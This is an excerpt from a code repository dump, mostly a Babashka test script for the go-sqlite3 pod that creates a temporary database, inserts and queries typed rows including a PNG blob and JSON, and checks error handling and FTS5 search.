(def sql (sql/format sqlmap)) 39 | 40 | (prn sql) 41 | 42 | (def results (sqlite/query "/tmp/foo.db" sql)) 43 | (prn results) 44 | 45 | -------------------------------------------------------------------------------- /test/script.clj: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bb 2 | 3 | (ns script 4 | (:require [babashka.pods :as pods] 5 | [clojure.java.io :as io] 6 | [babashka.fs :as fs] 7 | [clojure.test :as t :refer [deftest is testing]])) 8 | 9 | (prn (pods/load-pod "./pod-babashka-go-sqlite3")) 10 | 11 | (require '[pod.babashka.go-sqlite3 :as sqlite]) 12 | 13 | (def temp-file (str (fs/file (fs/temp-dir) "foo.db"))) 14 | 15 | (fs/delete-if-exists temp-file) 16 | 17 | (prn (sqlite/execute! temp-file ["create table if not exists foo (the_text TEXT, the_int INTEGER, the_real REAL, the_blob BLOB, the_json JSON)"])) 18 | (prn (sqlite/execute! temp-file ["delete from foo"])) 19 | 20 | (def png (java.nio.file.Files/readAllBytes (.toPath (io/file "resources/babashka.png")))) 21 | 22 | (prn (sqlite/execute! temp-file ["insert into foo (the_text, the_int, the_real, the_blob, the_json) values (?,?,?,?,?)" "foo" 1 3.14 png "{\"bar\": \"hello\"}"])) 23 | (prn (sqlite/execute! temp-file ["insert into foo (the_text, the_int, the_real) values (?,?,?)" "foo" 2 1.5])) 24 | 25 | (testing "multiple results" 26 | (prn (sqlite/execute! temp-file 27 | ["insert into foo (the_text, the_int, the_real) values (?,?,?), (?,?,?)" 28 | "bar" 3 1.5 29 | "baz" 4 1.5]))) 30 | 31 | (def results (sqlite/query temp-file ["select * from foo order by the_int asc"])) 32 | 33 | (def results-min-png (mapv #(dissoc % :the_blob :the_json) results)) 34 | 35 | (def expected [{:the_int 1, :the_real 3.14, :the_text "foo"} 36 | {:the_int 2, :the_real 1.5, :the_text "foo"} 37 | {:the_int 3, :the_real 1.5, :the_text "bar"} 38 | {:the_int 4, :the_real 1.5, :the_text "baz"}]) 39 | 40 | (deftest results-test 41 | (is (= expected results-min-png))) 42 | 43 | (def direct-results (sqlite/query temp-file "select * from foo order by the_int asc")) 44 | 45 | (def direct-results-min-png (mapv #(dissoc % :the_blob :the_json) direct-results)) 46 | 47 | (deftest direct-results-test 48 | (is (= expected direct-results-min-png))) 49 | 50 | (deftest bytes-roundtrip 51 | (is (= (count png) (count (get-in results [0 :the_blob]))))) 52 | 53 | (def json-field-result (sqlite/query temp-file ["select the_json->>'$.bar' as bar from foo where the_json is not null"])) 54 | 55 | (deftest json-field-test 56 | (is (= [{:bar "hello"}] json-field-result))) 57 | 58 | (deftest error-test 59 | (is (thrown-with-msg? 60 | Exception #"no such column: non_existing" 61 | (sqlite/query temp-file ["select non_existing from foo"]))) 62 | (is (thrown-with-msg? 63 | Exception #"unexpected query type, expected a string or a vector" 64 | (sqlite/query temp-file 42))) 65 | (is (thrown-with-msg? 66 | Exception #"the sqlite connection must be a string" 67 | (sqlite/query nil "select * from foo order by the_int asc")))) 68 | 69 | (deftest fts50-test 70 | (sqlite/execute! temp-file ["CREATE VIRTUAL TABLE email USING fts5(sender, title, body)"]) 71 | (sqlite/execute! temp-file ["INSERT INTO email VALUES('foo', 'bar', 'baz')"]) 72 | (is (= [{:sender "foo" :title "bar" :body "baz"}] 73 | (sqlite/query temp-file 74 | ["SELECT * FROM email WHERE email MATCH 'baz';"])))) 75 | 76 | (let [{:keys [:fail :error]} (t/run-tests)] 77 | (System/exit (+ fail error))) 78 | --------------------------------------------------------------------------------